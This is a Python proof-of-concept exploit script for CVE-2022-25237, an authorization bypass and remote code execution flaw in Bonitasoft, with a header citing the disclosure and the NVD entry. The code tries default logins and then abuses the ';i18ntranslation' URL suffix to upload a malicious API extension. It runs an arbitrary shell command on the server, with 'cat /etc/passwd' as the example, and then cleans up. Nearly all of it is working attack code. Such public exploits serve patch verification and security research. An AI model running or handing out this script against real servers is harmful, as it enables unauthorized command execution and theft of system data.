

# ## Information
# **Description:** This vulnerability allows authorization bypass and remote code exection in Bonitasoft web.  
# **Versions Affected:** 2022.1  
# **Version Fixed:**  
# For community:
# - 2022.1-u0 (7.14.0)
# For subscription:
# - 2022.1-u0 (7.14.0)
# - 2021.2-u4 (7.13.4)
# - 2021.1-0307 (7.12.11)
# - 7.11.7  
# **Researcher:** David Yesland (https://twitter.com/daveysec)  
# **Disclosure Link:** https://rhinosecuritylabs.com/application-security/cve-2022-25237-bonitasoft-authorization-bypass/  
# **NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2022-25237  

import requests
import sys


class exploit:
    try:
        session = requests.session()
        bonita_user = sys.argv[1]
        bonita_password = sys.argv[2]
        target_path = sys.argv[3]
        cmd = sys.argv[4]
        tempPath = ""
        extension_id = ""
        bonita_default_user = "install"
        bonita_default_password = "install"
        platform_default_user = "platformAdmin"
        platform_default_password = "platform"
    except:
        print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")
        exit()

def try_default_logins():
    req_url = f"{exploit.target_path}/loginservice"
    req_cookies = {"x": "x"}
    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
    req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}
    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
    if r.status_code == 401:
        return False
        # This does not seem to work when authenticating as platformAdmin, maybe it can though.
    #     req_url = f"{exploit.target_path}/platformloginservice"
    #     req_cookies = {"x": "x"}
    #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
    #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}
    #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
    #     if r.status_code == 200:
    #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")
    #         return True
    else:
        print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")
        return True



def login():
    req_url = f"{exploit.target_path}/loginservice"
    req_cookies = {"x": "x"}
    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}
    req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}
    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)
    if r.status_code == 401:
        print("[!] Could not get a valid session using those credentials.")
        exit()
    else:
        print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}")

def upload_api_extension():
    req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"
    files=[
    ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))
    ]
    r = exploit.session.post(req_url, files=files)
    exploit.tempPath = r.json()["tempPath"]

def activate_api_extension():
    req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"
    req_headers = {"Content-Type": "application/json;charset=UTF-8"}
    req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}
    r = exploit.session.post(req_url, headers=req_headers, json=req_json)
    exploit.extension_id = r.json()["id"]

def delete_api_extension():
    req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"
    exploit.session.delete(req_url)

def run_cmd():
    req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"
    r = exploit.session.get(req_url)
    print(r.json()["out"])

if not try_default_logins():
    print("[!] Did not find default creds, trying supplied credentials.")
    login()
upload_api_extension()
activate_api_extension()
try:
    run_cmd()
except:
    delete_api_extension()
delete_api_extension()


